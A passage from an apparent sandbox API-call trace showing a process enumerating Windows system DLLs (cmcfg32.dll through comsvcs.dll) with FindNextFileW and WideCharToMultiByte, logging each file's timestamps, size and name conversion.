dwReserved1=0x0, cFileName="cmcfg32.dll", cAlternateFileName="")) returned 1 [0036.401] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMCFG32.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0036.401] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMCFG32.DLL", cchWideChar=11, lpMultiByteStr=0x30c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMCFG32.DLL", lpUsedDefaultChar=0x0) returned 11 [0036.401] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a9a99a0, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x3a9a99a0, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x8466e1c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x76400, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="cmdial32.dll", cAlternateFileName="")) returned 1 [0036.401] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMDIAL32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0036.401] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMDIAL32.DLL", cchWideChar=12, lpMultiByteStr=0x30c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMDIAL32.DLL", lpUsedDefaultChar=0x0) returned 12 [0036.401] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe6d2724, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xfe6d2724, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x8466e1c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xfc00, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="cmicryptinstall.dll", cAlternateFileName="")) returned 1 [0036.401] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMICRYPTINSTALL.DLL", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0036.401] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMICRYPTINSTALL.DLL", cchWideChar=19, lpMultiByteStr=0x30c288, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMICRYPTINSTALL.DLL", lpUsedDefaultChar=0x0) returned 19 [0036.401] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74bcbee, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x74bcbee, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x8466e1c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x10c00, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="cmifw.dll", cAlternateFileName="")) returned 1 [0036.401] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMIFW.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0036.401] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMIFW.DLL", cchWideChar=9, lpMultiByteStr=0x30c120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMIFW.DLL", lpUsedDefaultChar=0x0) returned 9 [0036.401] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f457, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x8f457, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x8466e1c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4a600, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="cmipnpinstall.dll", cAlternateFileName="")) returned 1 [0036.401] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMIPNPINSTALL.DLL", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0036.401] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMIPNPINSTALL.DLL", cchWideChar=17, lpMultiByteStr=0x30c288, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMIPNPINSTALL.DLL", lpUsedDefaultChar=0x0) returned 17 [0036.401] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38f08433, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x38f08433, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x846bc3c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x8600, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="cmlua.dll", cAlternateFileName="")) returned 1 [0036.401] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMLUA.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0036.401] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMLUA.DLL", cchWideChar=9, lpMultiByteStr=0x30c120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMLUA.DLL", lpUsedDefaultChar=0x0) returned 9 [0036.401] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x391b5ce1, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x391b5ce1, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x8477aaa0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x6600, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="cmpbk32.dll", cAlternateFileName="")) returned 1 [0036.401] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMPBK32.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0036.401] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMPBK32.DLL", cchWideChar=11, lpMultiByteStr=0x30c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMPBK32.DLL", lpUsedDefaultChar=0x0) returned 11 [0036.401] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3af76f19, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x3af76f19, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x8479f490, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="cmstplua.dll", cAlternateFileName="")) returned 1 [0036.402] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMSTPLUA.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0036.402] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMSTPLUA.DLL", cchWideChar=12, lpMultiByteStr=0x30c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMSTPLUA.DLL", lpUsedDefaultChar=0x0) returned 12 [0036.402] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3930c938, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x3930c938, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x8479f490, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xb800, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="cmutil.dll", cAlternateFileName="")) returned 1 [0036.402] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMUTIL.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0036.402] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMUTIL.DLL", cchWideChar=10, lpMultiByteStr=0x30c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMUTIL.DLL", lpUsedDefaultChar=0x0) returned 10 [0036.402] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3edf5019, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x3edf5019, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x85c00920, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="cngaudit.dll", cAlternateFileName="")) returned 1 [0036.402] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CNGAUDIT.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0036.402] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CNGAUDIT.DLL", cchWideChar=12, lpMultiByteStr=0x30c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CNGAUDIT.DLL", lpUsedDefaultChar=0x0) returned 12 [0036.402] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe13d1623, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xe13d1623, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x85c27a20, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xc800, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="cngprovider.dll", cAlternateFileName="")) returned 1 [0036.402] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CNGPROVIDER.DLL", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0036.402] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CNGPROVIDER.DLL", cchWideChar=15, lpMultiByteStr=0x30c288, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CNGPROVIDER.DLL", lpUsedDefaultChar=0x0) returned 15 [0036.402] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc8530d4, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xbc8530d4, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x863252f0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="cnvfat.dll", cAlternateFileName="")) returned 1 [0036.402] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CNVFAT.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0036.402] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CNVFAT.DLL", cchWideChar=10, lpMultiByteStr=0x30c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CNVFAT.DLL", lpUsedDefaultChar=0x0) returned 10 [0036.402] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2a3e279, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xd2a3e279, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x86397ee0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xf800, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="colbact.dll", cAlternateFileName="")) returned 1 [0036.402] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COLBACT.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0036.402] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COLBACT.DLL", cchWideChar=11, lpMultiByteStr=0x30c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COLBACT.DLL", lpUsedDefaultChar=0x0) returned 11 [0036.402] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21891310, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x21891310, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x86397ee0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x25800, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="COLORCNV.DLL", cAlternateFileName="")) returned 1 [0036.402] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COLORCNV.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0036.402] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COLORCNV.DLL", cchWideChar=12, lpMultiByteStr=0x30c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COLORCNV.DLL", lpUsedDefaultChar=0x0) returned 12 [0036.402] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3357b6fd, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x3357b6fd, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x86397ee0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x94000, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="colorui.dll", cAlternateFileName="")) returned 1 [0036.402] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COLORUI.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0036.402] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COLORUI.DLL", cchWideChar=11, lpMultiByteStr=0x30c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COLORUI.DLL", lpUsedDefaultChar=0x0) returned 11 [0036.402] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3830bb4, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xc3830bb4, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x8640aad0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="comcat.dll", cAlternateFileName="")) returned 1 [0036.402] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMCAT.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0036.402] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMCAT.DLL", cchWideChar=10, lpMultiByteStr=0x30c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMCAT.DLL", lpUsedDefaultChar=0x0) returned 10 [0036.403] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87ba0407, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x87ba0407, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x87bc6567, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x81800, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="comctl32.dll", cAlternateFileName="")) returned 1 [0036.403] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMCTL32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0036.403] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMCTL32.DLL", cchWideChar=12, lpMultiByteStr=0x30c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMCTL32.DLL", lpUsedDefaultChar=0x0) returned 12 [0036.403] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x831d597f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x831d597f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x831fbadf, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x76a00, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="comdlg32.dll", cAlternateFileName="")) returned 1 [0036.403] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMDLG32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0036.403] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMDLG32.DLL", cchWideChar=12, lpMultiByteStr=0x30c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMDLG32.DLL", lpUsedDefaultChar=0x0) returned 12 [0036.403] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54e040d9, ftCreationTime.dwHighDateTime=0x1ca0405, ftLastAccessTime.dwLowDateTime=0x54e040d9, ftLastAccessTime.dwHighDateTime=0x1ca0405, ftLastWriteTime.dwLowDateTime=0xa7e211c, ftLastWriteTime.dwHighDateTime=0x1c9ea12, nFileSizeHigh=0x0, nFileSizeLow=0x6c90, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="compobj.dll", cAlternateFileName="")) returned 1 [0036.403] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMPOBJ.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0036.403] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMPOBJ.DLL", cchWideChar=11, lpMultiByteStr=0x30c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMPOBJ.DLL", lpUsedDefaultChar=0x0) returned 11 [0036.403] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xafe90a34, ftCreationTime.dwHighDateTime=0x1ca0418, ftLastAccessTime.dwLowDateTime=0xafe90a34, ftLastAccessTime.dwHighDateTime=0x1ca0418, ftLastWriteTime.dwLowDateTime=0x86560790, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x43800, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="compstui.dll", cAlternateFileName="")) returned 1 [0036.403] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMPSTUI.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0036.403] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMPSTUI.DLL", cchWideChar=12, lpMultiByteStr=0x30c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMPSTUI.DLL", lpUsedDefaultChar=0x0) returned 12 [0036.403] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd737050d, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xd737050d, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x86560790, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c00, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="comrepl.dll", cAlternateFileName="")) returned 1 [0036.403] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMREPL.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0036.403] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMREPL.DLL", cchWideChar=11, lpMultiByteStr=0x30c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMREPL.DLL", lpUsedDefaultChar=0x0) returned 11 [0036.403] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd1df40b, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xcd1df40b, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xae46d00, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0x13cc00, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="comres.dll", cAlternateFileName="")) returned 1 [0036.403] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMRES.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0036.403] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMRES.DLL", cchWideChar=10, lpMultiByteStr=0x30c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMRES.DLL", lpUsedDefaultChar=0x0) returned 10 [0036.403] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdca78724, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xdca78724, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x865ac280, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x35c00, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="comsnap.dll", cAlternateFileName="")) returned 1 [0036.403] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMSNAP.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0036.403] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMSNAP.DLL", cchWideChar=11, lpMultiByteStr=0x30c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMSNAP.DLL", lpUsedDefaultChar=0x0) returned 11 [0036.403] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfddbc751, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xfddbc751, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x865d3380, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12f400, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="comsvcs.dll", cAlternateFileName="")) returned 1 [0036.403] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMSVCS.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, 